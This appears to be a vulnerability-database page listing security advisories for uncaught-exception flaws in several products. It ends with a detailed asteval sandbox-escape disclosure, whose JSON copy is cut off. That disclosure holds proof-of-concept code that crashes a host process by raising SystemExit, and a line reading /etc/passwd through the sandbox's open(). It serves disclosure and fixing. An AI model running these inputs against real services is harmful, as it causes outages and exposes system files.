CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
501 vulnerabilities reference this CWE, most recent first.
GHSA-7GH2-244H-962W
Vulnerability from github – Published: 2026-08-12 21:31 – Updated: 2026-08-12 21:31The dataplane token validator in kuma-cp performs an unchecked Go type assertion on the JWT kid header. A token whose kid is a JSON number decodes as a float64 and triggers a runtime panic before any signature, claims, or authorization check runs.
The panic terminates the entire kuma-cp process, HTTP API, the health and readiness endpoints, and xDS. Unauthenticated access to the dataplane gRPC server can trigger the crash with a malformed token
A single request is a transient interruption; sustaining an outage requires repeated requests.
{
"affected": [],
"aliases": [
"CVE-2026-18675"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T19:17:30Z",
"severity": "MODERATE"
},
"details": "The dataplane token validator in kuma-cp performs an unchecked Go type assertion on the JWT kid header. A token whose kid is a JSON number decodes as a float64 and triggers a runtime panic before any signature, claims, or authorization check runs.\n\n\n\nThe panic terminates the entire kuma-cp process, HTTP API, the health and readiness endpoints, and xDS. Unauthenticated access to the dataplane gRPC server can trigger the crash with a malformed token\n\n\n\nA single request is a transient interruption; sustaining an outage requires repeated requests.",
"id": "GHSA-7gh2-244h-962w",
"modified": "2026-08-12T21:31:37Z",
"published": "2026-08-12T21:31:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/security/advisories/GHSA-5mxq-7xq4-3vx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18675"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17465"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17467"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17468"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17469"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17470"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17471"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17472"
},
{
"type": "WEB",
"url": "https://developer.konghq.com/mesh/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7P5F-MRPF-CQR2
Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36Uncaught Exception (CWE-248), resulting from Improper Input Validation (CWE-20), in Kibana can lead to denial of service via Input Data Manipulation (CAPEC-153). An authenticated user holding only low-privileged access can cause an internal error condition in Kibana by supplying specially crafted data. The resulting error is raised on an execution path so it propagates as an uncaught exception and terminates the Kibana process. Kibana is unavailable to all users until the service is restarted, and the condition can be triggered repeatedly.
{
"affected": [],
"aliases": [
"CVE-2026-72660"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T20:17:26Z",
"severity": "MODERATE"
},
"details": "Uncaught Exception (CWE-248), resulting from Improper Input Validation (CWE-20), in Kibana can lead to denial of service via Input Data Manipulation (CAPEC-153). An authenticated user holding only low-privileged access can cause an internal error condition in Kibana by supplying specially crafted data. The resulting error is raised on an execution path so it propagates as an uncaught exception and terminates the Kibana process. Kibana is unavailable to all users until the service is restarted, and the condition can be triggered repeatedly.",
"id": "GHSA-7p5f-mrpf-cqr2",
"modified": "2026-08-13T21:36:09Z",
"published": "2026-08-13T21:36:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72660"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-20-9-3-8-and-9-4-5-security-update-esa-2026-101/389517"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X3M-W77C-7WH5
Vulnerability from github – Published: 2025-04-07 06:30 – Updated: 2025-04-07 06:30Exception capture failure vulnerability in the SVG parsing module of the ArkUI framework Impact: Successful exploitation of this vulnerability may affect availability.
{
"affected": [],
"aliases": [
"CVE-2024-58111"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-07T04:15:16Z",
"severity": "HIGH"
},
"details": "Exception capture failure vulnerability in the SVG parsing module of the ArkUI framework\nImpact: Successful exploitation of this vulnerability may affect availability.",
"id": "GHSA-7x3m-w77c-7wh5",
"modified": "2025-04-07T06:30:27Z",
"published": "2025-04-07T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58111"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2025/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-827P-G5X5-H86C
Vulnerability from github – Published: 2026-03-17 18:37 – Updated: 2026-03-19 21:12Impact
A remote attacker can crash the Parse Server by subscribing to a LiveQuery with an invalid regular expression pattern. The server process terminates when the invalid pattern reaches the regex engine during subscription matching, causing denial of service for all connected clients.
Patches
The fix validates regular expression patterns at subscription time, rejecting invalid patterns before they are stored. Additionally, a defense-in-depth try-catch prevents any subscription matching error from crashing the server process.
Workarounds
Disable LiveQuery if it is not needed.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.6.0-alpha.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.43"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32770"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T18:37:30Z",
"nvd_published_at": "2026-03-18T22:16:25Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA remote attacker can crash the Parse Server by subscribing to a LiveQuery with an invalid regular expression pattern. The server process terminates when the invalid pattern reaches the regex engine during subscription matching, causing denial of service for all connected clients.\n\n### Patches\n\nThe fix validates regular expression patterns at subscription time, rejecting invalid patterns before they are stored. Additionally, a defense-in-depth try-catch prevents any subscription matching error from crashing the server process.\n\n### Workarounds\n\nDisable LiveQuery if it is not needed.",
"id": "GHSA-827p-g5x5-h86c",
"modified": "2026-03-19T21:12:58Z",
"published": "2026-03-17T18:37:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-827p-g5x5-h86c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32770"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10197"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10199"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Parse Server LiveQuery subscription with invalid regular expression crashes server"
}
GHSA-83RC-2389-WCCM
Vulnerability from github – Published: 2026-02-10 21:31 – Updated: 2026-02-10 21:31The affected products are vulnerable to an uncaught exception that could allow an unauthenticated attacker to remotely crash core PI services resulting in a denial-of-service.
{
"affected": [],
"aliases": [
"CVE-2026-1507"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T21:16:01Z",
"severity": "HIGH"
},
"details": "The affected products are vulnerable to an uncaught exception that could allow an unauthenticated attacker to remotely crash core PI services resulting in a denial-of-service.",
"id": "GHSA-83rc-2389-wccm",
"modified": "2026-02-10T21:31:31Z",
"published": "2026-02-10T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1507"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-041-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-84R8-W725-7J27
Vulnerability from github – Published: 2022-11-25 15:30 – Updated: 2022-11-30 21:30In F?Secure Endpoint Protection for Windows and macOS before channel with Capricorn database 2022-11-22_07, the aerdl.dll unpacker handler crashes. This can lead to a scanning engine crash, triggerable remotely by an attacker for denial of service.
{
"affected": [],
"aliases": [
"CVE-2022-38166"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-25T15:15:00Z",
"severity": "HIGH"
},
"details": "In F?Secure Endpoint Protection for Windows and macOS before channel with Capricorn database 2022-11-22_07, the aerdl.dll unpacker handler crashes. This can lead to a scanning engine crash, triggerable remotely by an attacker for denial of service.",
"id": "GHSA-84r8-w725-7j27",
"modified": "2022-11-30T21:30:22Z",
"published": "2022-11-25T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38166"
},
{
"type": "WEB",
"url": "https://www.f-secure.com/en/home/support/security-advisories/cve-2022-38166"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-877P-G3P3-329R
Vulnerability from github – Published: 2026-05-01 18:31 – Updated: 2026-05-07 21:30An issue was discovered in Vanetza V2X v26.02 allowing remote unauthorized attackers to cause a denial of service. The vulnerability exists in the GeoNetworking packet processing pipeline where OpenSSL exceptions from ECC point validation (invalid compressed point, point not on curve) are not properly caught by the Router::indicate() call chain. The openssl_wrapper.cpp check() function (line 19) throws openssl::Exception when OpenSSL operations fail. The parser's catch block in parse_secured() should catch these, but the exception escapes through subsequent processing stages (indicate_common, indicate_extended). This causes std::terminate, crashing the V2X receiver.
{
"affected": [],
"aliases": [
"CVE-2026-37554"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-01T16:16:31Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Vanetza V2X v26.02 allowing remote unauthorized attackers to cause a denial of service. The vulnerability exists in the GeoNetworking packet processing pipeline where OpenSSL exceptions from ECC point validation (invalid compressed point, point not on curve) are not properly caught by the Router::indicate() call chain. The openssl_wrapper.cpp check() function (line 19) throws openssl::Exception when OpenSSL operations fail. The parser\u0027s catch block in parse_secured() should catch these, but the exception escapes through subsequent processing stages (indicate_common, indicate_extended). This causes std::terminate, crashing the V2X receiver.",
"id": "GHSA-877p-g3p3-329r",
"modified": "2026-05-07T21:30:24Z",
"published": "2026-05-01T18:31:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/riebl/vanetza/security/advisories/GHSA-44qj-vh8c-5354"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37554"
},
{
"type": "WEB",
"url": "https://gist.github.com/sgInnora/45128ae15d52df7238680a8f2da8359f"
},
{
"type": "WEB",
"url": "https://github.com/riebl/vanetza"
},
{
"type": "WEB",
"url": "https://github.com/riebl/vanetza/blob/master/vanetza/geonet/router.cpp"
},
{
"type": "WEB",
"url": "https://github.com/riebl/vanetza/blob/master/vanetza/security/openssl_wrapper.cpp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-87FW-525C-9H5M
Vulnerability from github – Published: 2026-08-29 00:31 – Updated: 2026-08-29 00:31An unauthenticated party able to reach the port of a MongoDB Connector for BI (mongosqld) instance may generate enough routine connection log activity to exhaust the storage backing the configured log path. When a log write or log rotation operation subsequently fails, the resulting error is not handled and the shared mongosqld process ends, ending service for all connected SQL clients. The process continues to end on startup until an operator restores available storage, and the diagnostic message explaining the condition is not recorded.
{
"affected": [],
"aliases": [
"CVE-2026-81517"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T22:16:54Z",
"severity": "HIGH"
},
"details": "An unauthenticated party able to reach the port of a MongoDB Connector for BI (mongosqld) instance may generate enough routine connection log activity to exhaust the storage backing the configured log path. When a log write or log rotation operation subsequently fails, the resulting error is not handled and the shared mongosqld process ends, ending service for all connected SQL clients. The process continues to end on startup until an operator restores available storage, and the diagnostic message explaining the condition is not recorded.",
"id": "GHSA-87fw-525c-9h5m",
"modified": "2026-08-29T00:31:03Z",
"published": "2026-08-29T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81517"
},
{
"type": "WEB",
"url": "https://www.mongodb.com/docs/bi-connector/current/release-notes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-87MF-GV2C-C62C
Vulnerability from github – Published: 2026-06-19 06:31 – Updated: 2026-06-19 21:41Versions of the package ts-deepmerge before 8.0.0 are vulnerable to Uncaught Exception due to the improper handling of built-in Object.prototype methods (such as toString, valueOf). When user-controlled input contains these keys with non-function values, the resulting merged object becomes broken — any string context operation throws a TypeError, crashing the application.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ts-deepmerge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12644"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:41:52Z",
"nvd_published_at": "2026-06-19T06:17:01Z",
"severity": "MODERATE"
},
"details": "Versions of the package ts-deepmerge before 8.0.0 are vulnerable to Uncaught Exception due to the improper handling of built-in Object.prototype methods (such as toString, valueOf). When user-controlled input contains these keys with non-function values, the resulting merged object becomes broken \u2014 any string context operation throws a TypeError, crashing the application.",
"id": "GHSA-87mf-gv2c-c62c",
"modified": "2026-06-19T21:41:52Z",
"published": "2026-06-19T06:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12644"
},
{
"type": "WEB",
"url": "https://github.com/voodoocreation/ts-deepmerge/commit/305a05831a462fb2c353d3cbbff55a0733286f8c"
},
{
"type": "WEB",
"url": "https://gist.github.com/igorg1312/775fa00114c4d47df6ae0551779ab407"
},
{
"type": "PACKAGE",
"url": "https://github.com/voodoocreation/ts-deepmerge"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-TSDEEPMERGE-17339141"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "ts-deepmerge: Prototype Method Override leads to DoS"
}
GHSA-89V8-RHWQ-HF77
Vulnerability from github – Published: 2026-08-20 17:28 – Updated: 2026-08-20 17:28Summary
An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit,
KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These
exceptions are subclasses of BaseException but not Exception, so they bypass the
except Exception: safety net in both run() and eval(). The exception propagates
verbatim to the calling application, terminating the process or disrupting signal and
cleanup handlers.
This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.
Affected Code
asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
'BaseException', # ← escapes except Exception:
'BufferError', 'BytesWarning',
...
'GeneratorExit', # ← escapes except Exception:
...
'KeyboardInterrupt', # ← escapes except Exception:
...
'SystemExit', # ← escapes except Exception:
...)
asteval/asteval.py, line 322 — run() exception handler:
except Exception: # ← does NOT catch BaseException subclasses
if with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)
asteval/asteval.py, line 370 — eval() exception handler:
except Exception: # ← same gap
if show_errors and not raise_errors:
...
asteval/asteval.py, line 264 — raise_exception() raises the class directly:
raise exc(self.error_msg) # ← when exc=SystemExit, escapes both handlers above
Root Cause
Python's exception hierarchy has two distinct branches under BaseException:
BaseException
├── SystemExit ← NOT caught by except Exception:
├── KeyboardInterrupt ← NOT caught by except Exception:
├── GeneratorExit ← NOT caught by except Exception:
└── Exception ← caught normally
├── RuntimeError
├── ValueError
└── ...
FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes
raise SystemExit("msg"), the on_raise() handler calls:
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')
which executes raise SystemExit(msg). This propagates through both except Exception:
guards unchecked and surfaces in the calling application.
Proof of Concept
from asteval import Interpreter
# Variant 1: terminate the process
aeval = Interpreter()
try:
aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
# Variant 3: GeneratorExit
aeval = Interpreter()
try:
aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
# Variant 4: BaseException base class
aeval = Interpreter()
try:
aeval.eval('raise BaseException("base escape")')
except BaseException as e:
if not isinstance(e, Exception):
print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")
Output (tested on asteval 1.0.6, Python 3.11/3.12):
[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'
Real-world server scenario
from asteval import Interpreter
def handle_request(user_expression):
aeval = Interpreter()
return aeval.eval(user_expression) # SystemExit propagates here
# Attacker sends: raise SystemExit(1)
# Application terminates. Top-level except Exception: handlers do not protect it.
try:
handle_request('raise SystemExit(1)')
except Exception:
pass # <-- does NOT catch SystemExit; process exits
Impact
| Variant | Impact |
|---|---|
SystemExit |
Process terminates; exit code and message attacker-controlled |
KeyboardInterrupt |
Disrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops |
GeneratorExit |
Disrupts generator cleanup in calling code |
BaseException |
Generic escape, same propagation |
Any application that:
- Accepts user-supplied expressions via asteval
- Relies on except Exception: at the top level (standard practice)
- Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)
...is vulnerable to attacker-triggered process termination (DoS).
CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact — process termination (A:H).
Additional Note: File Read Capability (Acknowledged Limitation)
Independently of this vulnerability, asteval exposes a read-only open() wrapper
(_open in astutils.py) that allows reading arbitrary files with the permissions of the
calling process:
aeval.eval("open('/etc/passwd').read()") # returns /etc/passwd contents
This is documented in doc/motivation.rst as a known design choice ("If reading from disk
must be forbidden, you will want to overwrite the open() function from the symbol table").
It is included here for completeness, not as a separate advisory claim.
Recommended Fix
Option A — Remove dangerous classes from FROM_PY (minimal, preferred):
# asteval/astutils.py
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
# Remove: 'BaseException',
'BufferError', 'BytesWarning',
'DeprecationWarning', 'EOFError', 'EnvironmentError',
'Exception', 'False', 'FloatingPointError',
# Remove: 'GeneratorExit',
'IOError', 'ImportError', 'ImportWarning', 'IndentationError',
'IndexError', 'KeyError',
# Remove: 'KeyboardInterrupt',
'LookupError',
'MemoryError', 'NameError', 'None',
'NotImplementedError', 'OSError', 'OverflowError',
'ReferenceError', 'RuntimeError', 'RuntimeWarning',
'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
# Remove: 'SystemExit',
'True', 'TypeError', ...)
Option B — Block non-Exception raises in on_raise():
# asteval/asteval.py
def on_raise(self, node):
excnode = node.exc
msgnode = node.cause
out = self.run(excnode)
# Prevent BaseException subclasses from escaping the sandbox
if not issubclass(out.__class__, Exception):
self.raise_exception(node, exc=RuntimeError,
msg=f"raising {out.__class__.__name__!r} is not permitted")
return
msg = ' '.join(str(a) for a in out.args)
msg2 = self.run(msgnode)
if msg2 not in (None, 'None'):
msg = f"{msg}: {msg2}"
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')
Note: Option B also fixes a secondary bug on the same line — ' '.join(out.args) crashes
with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer
code). The fix uses str(a) for a in out.args.
Option C — Catch BaseException in run() and eval() (broadest, requires care):
except BaseException as exc:
if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):
# Re-raise as RuntimeError to contain within sandbox
self.raise_exception(node, exc=RuntimeError,
msg=f"{type(exc).__name__} raised in sandbox")
elif with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)
Option A is the simplest and least likely to introduce regressions. Option B additionally
addresses the str.join crash on integer args.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-06-09 | Vulnerability discovered during code review |
| 2026-06-09 | Report submitted via GitHub Security Advisory |
| TBD | Maintainer acknowledgment |
| TBD + 90 days | Public disclosure deadline |
Researcher
Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.
References
- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)
- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)
- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy
astevaldocumentation: https://lmfit.github.io/asteval/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asteval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55244"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T17:28:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89\u2013108** \u2014 `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n \u0027BaseException\u0027, # \u2190 escapes except Exception:\n \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n ...\n \u0027GeneratorExit\u0027, # \u2190 escapes except Exception:\n ...\n \u0027KeyboardInterrupt\u0027, # \u2190 escapes except Exception:\n ...\n \u0027SystemExit\u0027, # \u2190 escapes except Exception:\n ...)\n```\n\n**`asteval/asteval.py`, line 322** \u2014 `run()` exception handler:\n\n```python\nexcept Exception: # \u2190 does NOT catch BaseException subclasses\n if with_raise and self.expr is not None:\n self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** \u2014 `eval()` exception handler:\n\n```python\nexcept Exception: # \u2190 same gap\n if show_errors and not raise_errors:\n ...\n```\n\n**`asteval/asteval.py`, line 264** \u2014 `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg) # \u2190 when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython\u0027s exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n\u251c\u2500\u2500 SystemExit \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 KeyboardInterrupt \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 GeneratorExit \u2190 NOT caught by except Exception:\n\u2514\u2500\u2500 Exception \u2190 caught normally\n \u251c\u2500\u2500 RuntimeError\n \u251c\u2500\u2500 ValueError\n \u2514\u2500\u2500 ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise SystemExit(\"terminated by sandbox user\")\u0027)\nexcept SystemExit as e:\n print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise KeyboardInterrupt(\"interrupt injected\")\u0027)\nexcept KeyboardInterrupt as e:\n print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise GeneratorExit(\"gen escape\")\u0027)\nexcept GeneratorExit as e:\n print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise BaseException(\"base escape\")\u0027)\nexcept BaseException as e:\n if not isinstance(e, Exception):\n print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: \u0027terminated by sandbox user\u0027\n[CONFIRMED] KeyboardInterrupt escaped: \u0027interrupt injected\u0027\n[CONFIRMED] GeneratorExit escaped: \u0027gen escape\u0027\n[CONFIRMED] BaseException escaped: \u0027base escape\u0027\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n aeval = Interpreter()\n return aeval.eval(user_expression) # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n handle_request(\u0027raise SystemExit(1)\u0027)\nexcept Exception:\n pass # \u003c-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact \u2014 process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open(\u0027/etc/passwd\u0027).read()\") # returns 